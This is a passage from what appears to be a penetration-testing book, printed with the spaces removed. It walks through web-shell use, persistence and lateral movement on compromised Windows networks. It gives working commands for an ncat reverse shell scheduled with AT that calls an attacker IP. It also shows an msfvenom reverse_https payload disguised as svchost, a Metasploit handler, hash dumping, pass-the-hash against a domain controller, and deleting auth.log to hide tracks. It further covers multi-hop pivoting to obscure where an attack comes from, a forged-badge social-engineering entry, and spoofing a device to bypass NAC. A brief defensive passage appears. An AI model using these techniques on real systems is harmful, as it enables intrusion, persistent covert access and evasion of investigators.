:sql_dump Multidbmsmysqldumpreplacement.
:net_scan TCPPortscan.
:net_curl Performacurl-likeHTTPrequest.
:net_proxy ProxifylocalHTTPtrafficpassingthroughthetarget.
:net_ifconfig Getnetworkinterfaceaddresses.
:net_phpproxy InstallPHPproxyonthetarget.
Thenextsectionofthehelpfileshowsyouthecommandsyoucanusetosimulateanunrestrictedshell.Forsomeinscrutablereason,thecommandanddescriptionarereversedinthissection:
Description,orInternalCommand WeevelyCommand
zip,unzip file_zip
touch file_touch
gzip,gunzip file_gzip
curl net_curl
nmap net_scan
cd file_cd
whoami,hostname,pwd,uname system_info
rm file_rm
cat file_read
Gettingthesysteminfo
Onceyouhavelookedoverthehelpfiles,alogicalnextstepistofindoutasmuchaboutthesystemasyoucan.Todothis,yourunthesystem_infocommand.Thisprovidesyouwithanicelittletableofthedetailsofthemachine:
UsingfilesystemcommandsinWeevely
Youcangetusedtothefilenavigationcommandsprettyeasily.Hereisthels/dircommand,andthecdcommand.Thesedoexactlywhatyoumightimagineinsomecases,butarelikelytofailifyouaretryingtogoplacesthatthewebserveruserdoesn'thavepermissiontosee:
Sadly,Weevelydoesn'tletusgetlong-formdirectorylistings.Itdoesgiveusashort-formlistingliketheprecedingscreenshot,andanexplanationofwhatishappening:
SinceitisaWindowsfilesystem,wecanguessthatthelistitemswithoutanextensionareprobablydirectories,solet'smoveintooneofthosedirectories.Inthiscase,it'sthewolf24directory,asshowninfigure,shownpreviously:
WecanseefromthefilenamesherethatthissubdirectoryisanASP.NETsite.ThereisafoldercalledUmbraco,whichisa.NetCMSscript,andifthatisnotproofenough,thereisadefault.aspxfileinthefolder.
Writingintofiles
Thereisacommandthatletsyoueditremotefilesonyourlocalmachine.Thecommandisfile_edit:
file_editdefault.aspx
ThisopensthefileinvibydefaultinKaliLinux,solet'stryandeditthefile:
Onsomeservers,thiswillresultinanotherdirectivebeingaddedtotheCMS,whichcoulddoanythingatallthatthewebserveruserhastherighttodo.Let'stryandwriteatotallynewfiletotheserver:
Asithappens,ourvictimserverdoesn'tletusuploadthisfile.Sincewehavegottensystem-levelaccessinanotheraction,wecouldwellhavemadesurewehadthatabilitybeforebeginningtheWeevelywork:
Justforfun,let'sseeifthewebroothasthesamecarefulpermissionsastheCMSdirectory.Wewillchangetotheupperdirectory,andseeifwecanaddalineofcodetotheindexfilethere:
Wehaveasuccessfulpagebreach,basedonchangingthepermissionsforthepagepreviouslyusingMetasploit.Weevelycanbeveryusefulforattackingsitesthatdonothaveproperpermissionsset:
SummaryInthischapter,youlearnedseveralwaystoelevateprivilege.Ifyouhavephysicalaccesstoamachine,youhaveeasierwaystoattackamachine,butthereareseveralwaysthatyoucangetelevatedprivilegethroughthewebbrowsertomachineswithweakpermissions:
GettingAccesswithMetasploitReplacingExecutableswithMalevolentTwinsLocalPrivilegeEscalationwithaStand-AloneToolEscalatingPrivilegeswithPhysicalAccessWeasellinginwithWeevely
Inthenextchapter,youwillfindmorewaystomaintainaccessafterthebreachandquietlysenddataoutofthenetworkforweeksorevenyears.WeshowyouwaystouseNetCat,Metasploit,andtheSocialEngineeringToolkittogetandmaintainaccess.
Chapter8.MaintainingRemoteAccessEverwonderhowhackersareabletogetintoasecurenetworkandbeinthenetworkformonthsandsometimesyearswithoutbeingcaught?Well,thesearesomeofthebigtricksforstayinginsideonceyouarethere.Notonlywillwediscussmaintainingaccesstoalocalmachineyouhaveowned,butalsohowtouseaDropboxinsideanetwork,andhaveitphonehome.
Inthischapter,wewillbecoveringthefollowingtopics:
UsingNetcatonacompromisedWindowsserverPuttingasharedfolderintoacompromisedserverUsingMetasploittosetamalwareagentUsingaDropboxtotraceanetworkDefeatingaNACintwoeasystepsCreatingaspear-phishinge-mailwiththeSocialEngineeringToolkit
MaintainingaccessPersistentconnections,inthehackerworld,arecalledPhoningHome.Persistencegivestheattackertheabilitytoleaveaconnectionbacktotheattackingmachineandhaveafullcommandlineordesktopconnectiontothevictimmachine.
Whydothis?Yournetworkisnormallyprotectedbyafirewallandtheportconnectionstotheinternalmachinesarecontrolledbythefirewallandnotbythelocalmachine.Sure,ifyou'reinaboxyoucouldturnontelnetandyoucouldaccessthetelnetportfromthelocalnetwork.Itisunlikelythatyouwouldbeabletogettothisportfromthepublicnetwork.Anylocalfirewallmayblockthisport,andanetworkscanwouldrevealthattelnetisrunningonthevictimmachine.Thiswouldalertthetargetorganization'sNetworkSecurityteam.Soinsteadofhavingaporttocallonthecompromisedserver,itissaferandmoreeffectivetohaveyourvictimmachinecallouttoyourattackingmachine.
Inthischapter,wewilluseHTTPSreverseshells,forthemostpart.Thereasonforthisisthatyoucouldhaveyourcompromisedmachinecalltoanyportonyourattackingmachine,butagoodIDS/IPSsystemcouldpickthisconnectionupifitwassentouttoanunusualdestination,suchasport4444ontheattackingmachine.MostIDS/IPSsystemswillwhitelistoutboundconnectionstoHTTPSportsbecausesystemupdatesformostsystemsworkovertheHTTPSprotocol.YouroutboundconnectiontotheattackingmachinewilllookmorelikeanupdateorregularuserInternetbrowsingthananoutboundhackedport.
Apersistentconnectiondoeshavetogobackdirectlytotheattacker'smachine.Youcanpivotthistypeofconnectionoffofoneormoremachinestocoveryourtracks.Pivotingoffonemachineinsidethetargetnetwork,andacoupleoutsidethetargetnetwork,makesitmoredifficultforthedefenderstoseewhatishappening.
Yes,youcanpivotthistypeofattackoffofamachineinNorthKoreaorChina,anditwilllookliketheattackiscomingfromthere.Everytimewehearinthemediathata"cyberattack"iscomingfromsomedastardlyforeignattacker,werolloureyes.Thereisnowaytobesureoftheoriginalsourceofanattack,unlessyouhaveaccesstotheattackingmachineanditslogs.Evenwithaccesstothisattackingmachine,youstilldon'tknowhowmanypivotstheattackermade
thisattackingmachine,youstilldon'tknowhowmanypivotstheattackermadetogettothatmachine.Youstilldon'tknowwithoutafullback-tracetothelastconnection.UsesomethingsuchasTorintheprocessandthereisnowayanyonecanbesureexactlywherethehackcamefrom.
Inthisdemo,wewillbedoinganattackfromafour-waypivotgoingacrosstheworld,andthroughfourdifferentcountriestoshowyouhowthisisdone.Yes,wearedoingthisforreal!
Note
DonoteverattackthepublicIPaddresseswewillbeusinginthisbook.Theseareserversthatwepersonallyleasedforthisproject.Theywillnolongerbeunderourcontrolbythetimeofthisbook'sprinting.
Oneproblemwithpersistentconnectionsisthattheycanbeseen.Onecanneverunderestimatethecarefuleyeofaparanoidsysadmin("Whyhasserver192.168.202.4hadaHTTPconnectiontoaChineseIPaddressfor4days?").Arealattackerwillusethismethodtocoverhistracksincasehegetscaughtandtheattackingserverischeckedforevidenceoftheintruder.Agoodclearingofthelogsafteryoubackoutofeachmachine,andtracingbacktheconnectionisalmostimpossible.Thisfirstboxtowhichthepersistentconnectionismadewillbeviewedashostileintheeyesoftheattackerandtheywillremovetracesofconnectingtothismachineaftereachtimetheyconnect.
Noticeinthefollowingdiagramthatthevictimmachinehasaninternaladdress.Sincethevictimmachineiscallingout,wearebypassingtheinboundprotectionofNATandinboundfirewallrules.ThevictimmachinewillbecallingouttoaserverinSingapore.TheattackerisinteractingwiththecompromisedmachineintheUS,butispivotingthroughtwohopsbeforeloggingintotheevilserverinSingapore.Weareonlyusingfourhopshereforthisdemo,butyoucanuseasmanyhopsasyouwant.Themorehops,themoreconfusingtheback-trace.Agoodattackerwillalsomixupthehopsthenexttimehecomesin,changinghisrouteandtheIPaddressoftheinboundconnection:
Forourfirsthop,wearegoingtoAmsterdam178.62.241.119!Ifwerunwhoiswecanseethefollowing:
whois178.62.241.119
inetnum:178.62.128.0-178.62.255.255
netname:DIGITALOCEAN-AMS-5
descr:DigitalOceanAmsterdam
country:NL
admin-c:BU332-RIPE
tech-c:BU332-RIPE
status:ASSIGNEDPA
mnt-by:digitalocean
mnt-lower:digitalocean
mnt-routes:digitalocean
created:2014-05-01T16:43:59Z
last-modified:2014-05-01T16:43:59Z
source:RIPE#Filtered
Tip
HackerTip
Agoodinvestigator,seeingthisinformation,wouldjustsubpoenaDigitalOceantofindoutwhowasrentingthatIPwhenthevictimphonedhome,butitcouldjustaslikelybeamachinebelongingtoalittleoldladyinLeningrad.TheinfrastructureofaBotNetisdevelopedfromagroupofcompromisedboxes.Thischapterdescribesasmalldo-it-yourselfbotnet.
WewillnowpivottothehostinFrankfurtGermany46.101.191.216.Again,ifwerunwhois,wecanseethefollowing:
whois46.101.191.216
inetnum:46.101.128.0-46.101.255.255
netname:EU-DIGITALOCEAN-DE1
descr:DigitalOcean,Inc.
country:DE
org:ORG-DOI2-RIPE
admin-c:BU332-RIPE
tech-c:BU332-RIPE
status:ASSIGNEDPA
mnt-by:digitalocean
mnt-lower:digitalocean
mnt-routes:digitalocean
mnt-domains:digitalocean
created:2015-06-03T01:15:35Z
last-modified:2015-06-03T01:15:35Z
source:RIPE#Filtered
NowontothepivothostinSingapore128.199.190.69,anddoawhois:
whois128.199.190.69
inetnum:128.199.0.0-128.199.255.255
netname:DOPI1
descr:DigitalOceanCloud
country:SG
admin-c:BU332-RIPE
tech-c:BU332-RIPE
status:LEGACY
mnt-by:digitalocean
mnt-domains:digitalocean
mnt-routes:digitalocean
created:2004-07-20T10:29:14Z
last-modified:2015-05-05T01:52:51Z
source:RIPE#Filtered
org:ORG-DOI2-RIPE
WearenowsetuptoattackfromSingapore.Weareonlyafewmilesfromourtargetmachine,buttotheunsuspectingITsystemssecurityadministrator,itwillappearthattheattackiscomingfromhalfaworldaway.
Coveringourtracks
Ifwehaveeitherrootorsudoaccesstothesemachines,wecancleanlybackoutbyrunningthefollowingcommands.Thisremovesthetracesofourlogin.Sincethisisourattackingmachine,wewillberunningasroot.ThefilethatcontainsthelogininformationfortheSSHserviceis/var/log/auth.log.Ifwedeleteitandthenmakeanewfile,thelogsofuslogginginarenowgone:
1. Gointothe/var/logdirectory:
cd/var/log
2. Deletetheauth.logfile:
rmauth.log
3. Makeanewemptyfile:
touchauth.log
4. Droptheterminalsession:
exit
Nowexitfromtheserverandyou'reoutclean.Ifyoudothisoneverymachineasyoubackoutofyourconnections,thenyoucan'tbefound.Sincethisisalltextbased,thereisn'treallyanylagthatyouwillnoticewhenrunningcommandsthroughthismanypivots.Also,allthistrafficisencryptedbySSH,sonoonecanseewhatyouaredoingorwhereyouaregoing.
MaintainingaccesswithNcatNetCat(Ncat)isalittleknownyetpowerfultooldesignedtomakerawsocketconnectionstonetworkports.It'sasmalltooldesignedtorunfromoneexecutablefilethatiseasilytransferredtoasystemandcanalsoberenamedtoanythingtohidetheexecutablewithinanoperatingsystem.Ncatwillcallbacktoanattackingserverwithonlyuser-levelaccess.Ncatisanopensourceapplicationbroughttoyoubyinsecure.org,thesamefinefolksthatmaintainNMap.Ncat,anditsoldercousin,nc,bothcomeinstalledonKali.NcatisbundledwithanyinstallofNMap.
Actually,asmentionedpreviously,therearetwoversionsofNcat.Theolderversion'sexecutableisnc.NcwillalsomakerawsocketconnectionstoanyTCP/UDPports:
ThebigadvantageofNcatisthatitsupportsSSLencryption,whereallofnc'strafficisincleartext.Nc'strafficcansometimesbepickedupbyIDS/IPSandothersecuritydevices.Ncat'strafficcanbeencryptedandhiddentolooklikeanHTTPSstream.NcatalsohastheabilitytoonlyallowconnectionsfromcertainIPaddressesorIPsubnets.
Theinitialattacktocompromisethemachinecouldeitherbebyanetworkattackorusingsomemethodofsocialengineering,suchasaPhearfishinge-mailcarryingapayloadtoconnectbacktoourattackingserver.
ThefollowingimageisaPDFofanofferyouwillwanttorefuse.ThisPDFcontainsthesamephonehomepayload,andisdesignedtoinstallthemalwarepayloadwithoutanyinteractionorapprovalbytheuser.ThisPDFiscreatedinaniftytool,whichwewilllookatinthenextsectionCreatingawebbackdoorwiththeSocialEngineeringToolkit:
Oncetheinitialattackhascompromisedthesystem,wewantthesystemtocallhomeonaregularbasis.Anexploitlikethiscanbesettomaintainaconstantconnection,whereeverytimetheconnectionislostitresetstheconnection.Itcanalsobesettoreconnectatspecifiedintervals.Weliketosettheseupsotheexploitcallshomeatacertaintime,andifthereisnotaporttoconnecttoontheattackingmachine,thentheexploitgoessilentuntilthattimecomesagain.Atotallypersistentconnectioncandrawattentionfromnetworksecurity.
WearenowconnectedtothevictimmachineandweuploadanobfuscatedcopyofNcattothevictim.Wecanseefromthesessionthatthisisaninternalattack.Thencat.exefileisinthe/usr/share/ncat-w32/directoryonKali.Onceconnected,runthefollowingcommandinMeterpreter:
upload/usr/share/ncat-w32/ncat.exeC:/windows/ncat.exe
ThiswilltransfertheNcatexecutabletothevictimsystem.Noticethatweareusing/andnot\fordirectoryslashes.SinceyouareonLinux,youmustusetheforwardslash.Ifyouusethe\andrunthecommandyouwillfindthatthedirectorynameswillruntogetherandthefilewillnotuploadproperly.
GoingtotheWindows7victim,wecanseethefileintheWindowsdirectory:
WindowssinceWindowsNT3.14hasacommand-linetooltorunscheduledtasks.ThistooliscalledtheATcommand.ThiscommandisverysimilartothecroncommandavailableonLinuxorUNIX,andlikethecroncommand,youneedadmin-levelaccesstorunAT.Youcanalsoruntheschtaskscommand,whichwillrunregardlessofyouruserpermissions.Youcansetatime,date,andnumberoftimestorunanycommand-linetoolorscript.SoshellintothesystemusingyourMeterpreterconnectiontothemachine:
shell
You'renowinthevictimsystemandshouldtypethefollowing:
AT5:00PMncat.exe-nv128.199.190.69443–ssl-ecmd.exe
Thissetsupajobtorunat5:00PMeveryday.Itwillrunthencat.exeexecutablewiththefollowingvariables.Itiscallingtotheattackingserver
128.199.190.69onport443.The–sslflagtellstheconnectiontouseSSL.The-ecmd.exeflagtellstheexecutabletorunthecmd.exeexecutablethroughtheconnection.
Before5:00PM,welogintoourevilserverusingourvariouspivotsandstartupNcatinlisteningmodeandwaitfor5:00PMtocomearound.
Notethatweareconnectedto//rogue3hereandrunningthecommand:
ncat-nvlp443–ssl
The-nflagtellsthesystemtonotuseDNS.The-vtellsthesystemtomaketheoutputverbosesoyoucanseetheinputandoutput.The-ltellsNcattolisten.The-ptellsNcattolistenonport443,andthe–ssltellsNcattouseSSLtoencryptthesession:
WenowhaveaconnectiontoourhackedWindows7machinewithfullAdministratoraccess,andthisexploitwillbereadytouseat5:00PMeverydaywithoutanyfurtherattacksonthenetwork.
Tip
WARNING!
ArealattackerwillchangethenameofNcattosomethingmorevagueandhardtospotinyourfilesystem.Bewareoftwocalc.exeornotepad.exelivingonyoursystem.TheoneinastrangeplacecouldverywellbeNcatoranothertype
PhoningHomewithMetasploit
Well,thatwastheold-schoolmethod.Now,let'sdothesamethingusingMetasploit'stools.WewillhaveMetasploitloadedon//rogue3,ourevilserver,forourvictimmachinetoconnecttoaMeterpretershellonthatmachine.Wewillbebuildinganduploadingthisexploitfromourinternalhackfromearlier.WewillbeusingacoupleofothertoolsfromtheMetasploittoolkitbesidemsfconsole.Metasploitcomeswithanindependentapplicationtobuildcustomexploitsandshellcode.Thistooliscalledmsfvenom,andwearegoingtouseittobuildanexploit.Thefulluseofmsfvenomcouldfillafullchapterinitselfandisbeyondthescopeofthebook;thus,here,wewillbebuildingareverse-httpexploit,usingthemostcommonflagstogenerateourexecutable.Wewillbuildtheexploitbyrunningthefollowingcommand:
msfvenom-ax86–platformwindows-p
windows/meterpreter/reverse_https-fexe-osvchost13.exe
Msfvenomisapowerfulandconfigurabletool.Ithasthepowertobuildcustomexploitsthatwillbypassanyanti-virussoftware.Anti-virussoftwareworksonlookingatthesignaturesoffiles.Msfvenomhastheabilitytoencodeanexploitinsuchawaythattheanti-virussoftwarewillnotbeabletodetectit.Itisacaseofhidinganexploitasanothercommonexecutable,suchasNotepad.MsfvenomcanaddNOPsornullcodetotheexecutabletobringituptothesamesizeastheoriginal.Scary,isn'tit?
Alistoftheflagsisasfollows:
Usage:/opt/metasploit/apps/pro/msf3/msfvenom[options]<var=val>
Options: LongOptions Variables
-p --payload <payload>
-l --list [module_type]
-n --nopsled <length>
-f --format <format>
-e --encoder
-a --arch <architecture>
--platform <platform>
-s --space <length>
-b --bad-chars <list>
-i --iterations <count>
-c --add-code <path>
-x --template <path>
-k --keep
-o --options
-h --help
--help-
formats
Thefollowingimageshowstheoutputofthecommand.Msfvenomhasshownthatnoencoderswereused,andtherewasnocheckingforbadcharactersimplementedinthebuild.Forthisdemo,they'renotneeded:
Now,byrunningthelscommand,wecanseeourfile:
Nowwehavesomethingtoupload.JustlikewiththeNcatexample,wewilluse
ourinternalcompromiseofthesystemtouploadourexploit:
AswithNcat,wewillshellintoourvictimmachineandsetuptheATcommandtorunsvchost13.exe:
shell
AT5:25PMc:\windows\svchost.exe
exit
Justbefore5:25PM,logintotheevilserver//rogue3.Fireupthe
Metasploitservicemsfconsoletogetyourlistenersetupand
runningtoaccepttheconnection.Then,setupthecommonhandler
moduleusingthefollowingcommands.
msfconsole
useexploit/multi/handler
setPAYLOADwindows/meterpreter/reverse_https
setLHOST128.199.190.69
setLPORT443
exploit
Afterrunningtheexploit,thehandlerwillstartlisteningforaconnectiononport443,waitingforyourhelplessvictimtocallhome.Afterwaitingabit,weseeaconnectioncomeupfrom69.131.155.226.Thatistheaddressofthefirewallourvictimmachineisbehind.Thehandlerthengivesusacommandprompttothesystem.RunningtheMeterpretercommandsysinfo,weseethenameandmachineinformation.Fromhereyouhavecompletecontrol.
Tip
Arealattackermaysetupthisexploitandnotcomebackformonths.Theonlysignofaproblemwouldbejustasingleconnectiongoingoutandfailingat5:25PMeveryday.Justasmallbliponthenetwork.
Youmightbeexcitedtomoveontothenextconquest,butsincewearehereonamachinebehindthenetwork'sfirewall,let'slookaroundattherestofthenetwork.Byrunningipconfig,weseethattherearetwonetworkinterfacesonthismachine:oneisonthe10-network,at10.100.0.0/24,buttheotherisona192.168-networkat192.168.202.0.Thesearebothprotectednetworks,butthebigdealisthatthenetworkisnotflat.Youcannotroutepacketsacrosstwodissimilarnetworkclassesintheprivateranges.The10-networkhasaccesstotheInternet,soitmaybeaDMZ,andthemachinesonitmaybebothmorehardenedandcontainlessvaluabledata.Thisprobablymeanstherearesometreasuresinthedataontheothernetwork.Thistypeofpivotcouldgotoeithernetwork,butlet'sattacktheback-endnetworkhere:
ThepathmarkedinredisthepivotpathwewillbetakingfromourpersistentconnectiontoattacktheDomainControllerontheback-endnetwork.
Thattimeofdayhascomearound,andwehavestartedourlisteneronourevilserverandthevictimmachinehasphonedhome.Wearereadytogofurther.Wewillusethemeterpretercommandautoroutetogetarouteintothe192.168.202.0/24network.
Thistimewhenwesetupthehandler,wewillsendthesessionintothebackgroundusingthe-jflagwhenweruntheexploitcommand:
Thenthevictimmachinecallsin.Thistellsusthatthefirewallinthetargetnetworkhasnotbeenadjustedtoblockthatoutboundpacketstream,andthattheanomalousbehaviorhasnotalertedtheirintrusiondetectionsystem(IDS).Wehaveaconnection:
Weareinsidethevictimmachine,sowecanrunDOScommands.Ifwerunipconfigweseethetwointerfacesandtheiraddresses:
Asweknow,sysadminsoftenreusepasswordsallacrosstheirnetworks,solet'sgetthehashfromthismachineandtryitontheDC.SavethesehashestoatextfileortoyourKeepnote.You'llneedthemlater:
getsystem
hashdump
NoticethatthehashdumpcommandhasalsofoundanddownloadedthepasswordhintforBoWeaver.Thehintis"funny".Thismaymakeyourpasswordguessingeasier.Somepeoplemaketheirpasswordhintalmosttheirpassword,like"RaidersStarQback1970."AtinybitofresearchcouldtellyoutheQuarterbackwasGeorgeBlanda,hewas43yearsoldandthatwasthefirstseasonfortheRaidersintheNFL.HisJerseynumberwas16.Yourpasswordlistwouldneedtoinclude"GeorgeBlanda16","Blanda1970",andotherrelatedthings:
Typethefollowing:
runautoroute-s192.168.202.0/24
Thenrunthefollowingtoprintouttheroute:
runautoroute-p
Weseewehavearouteintothebackendnetwork:
Nowyouhavearoute,soitistimetoreconnoiter.Tokeepdownthenoise,wewilluseasimpleportscannerwithinMetasploit:
1. Backoutofourmeterpreterbytypingthefollowing:
background
Thiskeepsthesessionrunningopenandinthebackground.2. Setupthescanner:
useauxiliary/scanner/portscan/tcp
setRHOSTS192.168.202.0/24
setPORTS139,445,389
3. Wehavesetport389tofindtheDomainController.Setthenumberofactivethreads:
setTHREADS20
Runthescanner:
run
ThescannerrunsandweseeaWindowsDomainController.Thisisournewtarget:
Wenowhaveourtargetandapasswordhash,sothenextstepistouploadanexploit.Sincewehavelogincredentials,we'regoingtousethepsexecmoduletoconnecttotheDomainController:
WearenotusingacleartextpasswordbecausewecapturedthehashfromtheWin7machine'sAdministrator'saccount.Sincewehavethehash,wedonothavetobrute-forcethepassword.Itisalwayspossiblethatthepasswordsforthedifferentclassesofmachinemightbedifferent,butinthiscasetheyareoneandthesame.
Tip
PassingtheHash
HashesworkaswellaspasswordsinMetasploit.ThisisknownasPassingTheHash.Pass-the-Hashexploitshavebeenaroundforatleastadecade,andtheyusetheWindowsLoginSessioninformationavailableonthenetwork.TheexploittakestheLocalSecurityAuthority(LSA)informationtogetalistoftheNTLMhashesforusersloggedintothemachinesonthenetwork.Thetools,suchastheMetasploitFrameworkorthePass-the-HashToolkit,thatareusedto
gettheinformationgetusername,domainname,andLMandNThashes.
Oncetheexploithasrunwegetameterpretershell,andbyrunningsysinfowecanseethatweareintheDomainController:
sysinfo
Aswecoveredearlier,WindowsActiveDirectorystoresthepasswordhashesintheSAMdatabase,sowecanusehashdumptodumpallthehashesinthedomain:
hashdump
WenowhaveallthekeystothecompromisedkingdomfromabackendnetworkwithnoInternetaccess.Ifyounotice,inthenumbersbehindtheusernamesinthehashdump,youcanseethattheadministratorisuser500.ManyexpertstellWindowsnetworkadministratorstochangethenameoftheadminaccount,sothatnobodycantellwhichusershavewhichpermissions.Plainly,thiswillnot
thatnobodycantellwhichusershavewhichpermissions.Plainly,thiswillnotwork.EvenwiththeusernameNegligibleNebbish,justhavingtheUIDof500showsthatthisisauserwithadministrativepowers.
Ifweputthissessioninthebackgroundandrunthesessionscommand,wecanseebothsessionsrunningfrom//rogue3evilservertoourcompromisedsystems:
background
sessions-l
TheDropboxADropbox,sometimesalsocalledaJumpBox,isasmalldevicethatyoucanhidesomewherewithinthephysicallocationthatyouaretargeting.Gettingthedeviceintothelocationwillsometimestakeotherskills,suchassocialengineering,orevenalittlebreakingandentering,togetthedeviceintothelocation.ADropboxcanalsobeaboxsentbytheSecurityConsultantfirmtobeinstalledonanetworkforpentestingfromaremotelocation.
Thesedays,small,fully-fledgedcomputersarecheapandeasytoconfigure.Therearealsodevicesonthemarketthatarespecificallydesignedforthisuseandarereadytogorightoutofthebox.TheRaspberryPiisasmallcomputeronaboardthatrunsafullLinuxdistroandcanbeconfiguredforthiswork.TwodevicesmadeforthisusearetheWi-FiPineappleandthePwnieExpress.TheWi-FiPineappleisourpersonalfavorite.ItcomeswithtwoseparatelyconfigurableWi-FiaccesspointsandaCAT5interface.Itisonlyslightlylargerthanapackofcigarettes.HavingthetwoWi-FiradiosandaCAT5connectormakesthisdevicecapableofconnectingandpivotingfromanynetwork.
So,nowyouhavetosneakthisontothenetwork.Forawirednetwork,aperennialfavoriteintrusionisthefriendlytelcoguyapproach.EmployeebadgescanbeeasilyfoundforvariouscompaniesontheInternet.Makingabadgeisalsoaneasyprocess.Youcanfindoutwhoprovidestelcoservicesforyourtargetduringyourpassivefootprintingphase.Onceyouhaveyourbadge,youshowupatthetargetlocationcarryingyourtoolbagandlaptop,gotothefrontdeskandsay"HiI'mherefromTelcoProvider.WehadaticketturnedinthattheInternetisrunningslow."You'llbesurprisedhoweasilythisworkstogetinthedoorandbeleaddirectlytothePhoneCloset.OnceinthePhoneCloset,youcanhideandconnectyourpreconfiguredDropbox.Whenitfiresup,itphoneshomeandyouarein!
Foralessintrusivemethod,ifyourtargethasWi-Fiintheoffice,youcanuseitasyourattackvector.ThisiswherethetwoWi-Firadioscomeintoplay.Onecanbeusedtoattackandconnecttothetargetnetworkandtheothercanbeusedasyourconnectiontopivotfrom.ThefolksatPineapplewillevensellyouabatterythatlastsaround72hours.Withthisarrangement,your"evilpackage"canevenbeeasilyhiddeninthebushesandrunwithoutACpower.Captureddatacanalsobecopiedtoaflashcardonthedevice,ifbeingintheareaduring
datacanalsobecopiedtoaflashcardonthedevice,ifbeingintheareaduringyourattackisn'tfeasibleandyoucan'tphonehometotheevilserver.
Whendoingyourphysicalreconofalocation,lookforcablingrunningoutsidethebuilding.Sometimes,whenexpansionsaredoneatalocation,thepeoplerunningthecablewillrunadropontheoutsideofabuildingjusttomaketheinstallationeasier,butaswesee,thisleavesadooropentoattack.Withagoodhidingplace,acoupleofRJ45connectors,andacheapswitch,youcangetaccesstoawirednetwork.
CrackingtheNAC(NetworkAccessController)Thesedays,NetworkAccessController(NAC)appliancesarebecomingmorecommononnetworks.NACsdogiveanincreasedlevelofsecurity,buttheyarenotthe"endall"solutionthattheirvendors'marketingandsalesmaterialssuggestthattheyare.WewillshowyouasimplemethodofbypassingNACcontrolsonacompanynetwork.
Thefollowinginformationcomesfromarealhacktoarealcompanyweperformedawhileback.Ofcourse,allthenamesandIPaddresseshavebeenchangedtoprotectthecompany.Thisisnottheory.Thisisarealworldhack.Thegoodthingforthecompanyinthisdramatizationisthatwearethegoodguys.Thesadthingisthatitonlytookabout30minutestofigurethisout,andmaybetwohourstofullyimplementit.
WewillbebypassingtheNACforthecompanywidgetmakers.com.WidgetMakershastwonetworks:onethecorporateLAN(CorpNET),andtheotheraproductionnetwork(ProdNET),containingclassifieddata.Thetwonetworksareofaflatdesign,andbothnetworkshavefullaccesstoeachother.ANACappliancewasconfiguredandinstalledontheCorpNET.EmployeesmustnowuseaNACagentontheirmachinestoconnecttotheCorpNET.WidgetMakersusesSIPphonesforvoicecommunications.ThesephonesarenotonaseparateVLAN.TheyareconnectedtotheCorpNETVLANforeaseofuse.WidgetMakersalsohasanumberofnetworkprintersontheCorpNET.
NACappliancesuseanagentthatisinstalledontheuser'smachineforloginandverificationoftheuserandmachine'sidentity.TheseappliancescanbeconfiguredtouseaRemoteAuthenticationDialinUserSystem(RADIUS)serverorDomainControllerfortheusercredentials.SometimestheNACappliancesusecertificatestoauthenticatethemachine.Tryingtospoofaninternalmachine'sMACaddresswithoutanagentandaloginwillnormallyresultintheMACaddressgettinglockedoutofthenetwork.
Theweaknessinthesystemistheagents.MostNACsystemsareproprietaryandtiedtoonevendor.Onevendor'sagentwillnotworkwithanother,andthereisnotastandardforNACcontrols.MostvendorsonlymakeagentsthatrunonWindows;thus,ifyouhaveaMacorLinuxworkstationonyournetwork,itcannotbejoinedtothenetworkusingNACcontrols.
cannotbejoinedtothenetworkusingNACcontrols.
Sowhatdoyoudowiththephones,printers,andworkstationsnotrunningaWindowsoperatingsystemtogetthemtoworkwithintheNACcontrols?YouhavetowhitelisttheirMACandIPaddresseswithintheNACsettings.Thus,bytakingoneofthesedevicesoffthenetworkandspoofingitsidentity,younowhaveaccesstotherestrictedVLANwiththeaccesslevelofthedeviceyouhavespoofed.Normally,onaflatnetwork,youhaveaccesstoeverythinginalllocalnetworks.
OneoftheeasiestmarksforthishackisaSIPphone.Peoplewoulddefinitelynoticeifaprinterwentoffline.Everyoneusesprinters.Touseaprinterforthistypeofexploit,youmustpickaprinterthatisn'tusedoften.Phonesareadifferentcase.Officesalwayshaveextraphonesforguests,andoften,ifyouknowtheworkscheduleoftheemployees,youcanpickaphoneofsomeonewhoisonvacation.UnplugtheirphoneandtapeyourDropboxunderthedeskandconnectittothephonedropandyouarein:
Sohowdoyouprotectfromthis?
Firstthing,don'tcountonNACbeingtheultimatesecurityfeatureonyournetwork.NACshouldbeonlyonelayerofmanyinthesecurityarchitectureofthenetwork.Actually,itshouldbeoneoftheupperlayersofyournetworksecurity.Onesimpleworkaroundistoturnoff(unplug)networkportsthatarenotinuse.Thiswillnotsaveyoufromahackersubvertingadeskphoneofsomebodywhoisonvacation,butitcankeepanemptycubefrombecomingahacker'sheadquarters.
Thefirstlayerofanynetworksecurityshouldbepropersegmentation.Ifyoucan'troutetoit,youcan'tgettoit.NoticeintheprecedingdiagramthatCorpNETandProdNEThavefullaccesstoeachother;anattackercominginthroughCorpNETspoofinganetworkdevicecangainaccesstotherestrictedProdNET.
CreatingaSpear-PhishingAttackwiththeSocialEngineeringToolkitTheSocialEngineeringToolkit(SET)licenseagreementstatesthatSETisdesignedpurelyforgoodandnotevil.Anyuseofthistoolformaliciouspurposesthatareunauthorizedbytheownerofthenetworkandequipmentviolatesthetermsofservice(TOS)andlicenseofthistoolset.Tofindthistool,gothroughthemenuKaliLinux|ExploitationTools|SocialEngineeringToolkit,ortypesetoolkitonthecommandline:
ThisisgoingtobeaMetasploitreverseHTTPexploit,sothereareacoupleofstepsthatyouhavetoputinplacebeforeusingSET:
StarttheMetasploitservice.
InKali1.x,thiswastwosteps,butinKali2.0,thepreviousimage,startingtheservice,andthenextimage,openingtheMetasploitFrameworkConsole,areonecommand:
1. StartuptheMetasploitconsolebygoingthroughthemenusApplications|08.ExploitationTools|MetasploitFramework.YoucanalsostarttheMetasploitFrameworkConsolebytypingmsfconsoleatthecommand
prompt,avoidingtheGUImenualtogether.2. Ascertainthelocalhostaddressyourlistenerwillbelisteningon,sothat
yourmalwarehassomethingtophonehometo.Inourtestnetwork,theKaliserverisrunningonavirtualmachinerunningonaphysicalhost.Eitherthehost'sIPorabridgedpseudo-ethernetcardfromthevirtualmachinemustbethedestinationwhenthemalwarecallsin.IfyouwererunningyourKalifromaVMSmachineontheInternet,thiswouldbeslightlylessdifficult.
3. Herearetheconfigsforthetestnetwork.TherearetwomachineswithInternetaccessandtwoserversthatareonlyaccessiblefromtheinternalnetwork.Kali186istheattacker'slaptop,andtheWindows10workstationisthejumpboxfortheinternalnetwork.
4. OnceyouhavestartedMetasploit,youneedtostartthelistener,sothemalwareyouareabouttocreatehassomethingtoanswerthecallwhenitphoneshome.
Typethefollowingcommandinthemsfcommandprompt:
